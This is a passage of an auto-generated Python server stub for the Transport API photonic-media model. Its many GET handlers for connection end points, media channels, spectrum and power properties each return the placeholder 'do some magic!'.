tapi_photonic_media_otsi_service_interface_point_spec = TapiPhotonicMediaOtsiServiceInterfacePointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_assembly_spec_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_assembly_spec_get
returns tapi.photonic.media.MediaChannelAssemblySpec # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaMediaChannelAssemblySpec
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_get
returns tapi.photonic.media.MediaChannelConnectionEndPointSpec # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaMediaChannelConnectionEndPointSpec
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_get
returns tapi.photonic.media.MediaChannelPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaMediaChannelPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_measured_power_egress_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_measured_power_egress_get
returns tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaPowerPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_measured_power_ingress_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_measured_power_ingress_get
returns tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaPowerPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_occupied_spectrum_frequency_constraint_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_occupied_spectrum_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_occupied_spectrum_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_media_channel_connection_end_point_spec_media_channel_occupied_spectrum_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_get
returns tapi.photonic.media.OtsConnectionEndPointSpec # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaOtsConnectionEndPointSpec
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_get
returns tapi.photonic.media.MediaChannelPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaMediaChannelPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_measured_power_egress_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_measured_power_egress_get
returns tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaPowerPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_measured_power_ingress_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_measured_power_ingress_get
returns tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaPowerPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_occupied_spectrum_frequency_constraint_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_occupied_spectrum_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_occupied_spectrum_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_ots_connection_end_point_spec_ots_media_channel_occupied_spectrum_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_assembly_connection_end_point_spec_fec_parameters_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_assembly_connection_end_point_spec_fec_parameters_get
returns tapi.photonic.media.FecPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaFecPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_assembly_connection_end_point_spec_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_assembly_connection_end_point_spec_get
returns tapi.photonic.media.OtsiAssemblyConnectionEndPointSpec # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaOtsiAssemblyConnectionEndPointSpec
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_assembly_connection_end_point_spec_otsi_adapter_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_assembly_connection_end_point_spec_otsi_adapter_get
returns tapi.photonic.media.OtsiGserverAdaptationPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaOtsiGserverAdaptationPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_get
returns tapi.photonic.media.OtsiConnectionEndPointSpec # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaOtsiConnectionEndPointSpec
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_get
returns tapi.photonic.media.OtsiTerminationPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaOtsiTerminationPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_laser_properties_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_laser_properties_get
returns tapi.photonic.media.LaserPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaLaserPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_received_power_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_received_power_get
returns tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaPowerPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_application_identifier_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_application_identifier_get
returns tapi.photonic.media.ApplicationIdentifier # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaApplicationIdentifier
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_central_frequency_frequency_constraint_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_central_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_central_frequency_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_central_frequency_get
returns tapi.photonic.media.CentralFrequency # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaCentralFrequency
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_spectrum_frequency_constraint_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_spectrum_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_spectrum_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_selected_spectrum_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_transmited_power_get(uuid, node_uuid, owned_node_edge_point_uuid, connection_end_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_cep_list_connection_end_pointconnection_end_point_uuid_otsi_connection_end_point_spec_otsi_termination_transmited_power_get
returns tapi.photonic.media.PowerPropertiesPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param connection_end_point_uuid: Id of connection-end-point
:type connection_end_point_uuid: str
:rtype: TapiPhotonicMediaPowerPropertiesPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_get(uuid, node_uuid, owned_node_edge_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_get
returns tapi.photonic.media.MediaChannelNodeEdgePointSpec # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:rtype: TapiPhotonicMediaMediaChannelNodeEdgePointSpec
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, node_uuid, owned_node_edge_point_uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param upper_frequency: Id of available-spectrum
:type upper_frequency: int
:param lower_frequency: Id of available-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_get(uuid, node_uuid, owned_node_edge_point_uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param upper_frequency: Id of available-spectrum
:type upper_frequency: int
:param lower_frequency: Id of available-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_get(uuid, node_uuid, owned_node_edge_point_uuid): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_get
returns tapi.photonic.media.MediaChannelPoolCapabilityPac # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:rtype: TapiPhotonicMediaMediaChannelPoolCapabilityPac
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, node_uuid, owned_node_edge_point_uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param upper_frequency: Id of occupied-spectrum
:type upper_frequency: int
:param lower_frequency: Id of occupied-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_get(uuid, node_uuid, owned_node_edge_point_uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param upper_frequency: Id of occupied-spectrum
:type upper_frequency: int
:param lower_frequency: Id of occupied-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, node_uuid, owned_node_edge_point_uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of topology
:type uuid: str
:param node_uuid: Id of node
:type node_uuid: str
:param owned_node_edge_point_uuid: Id of owned-node-edge-point
:type owned_node_edge_point_uuid: str
:param upper_frequency: Id of supportable-spectrum
:type upper_frequency: int
:param lower_frequency: Id of supportable-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_get(uuid, node_uuid, owned_node_edge_point_uuid, upper_frequency, lower_frequency): # noqa: E501
"""data_context_topology_context_topologyuuid_nodenode_uuid_owned_node_edge_pointowned_node_edge_point_uuid_media_channel_node_edge_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
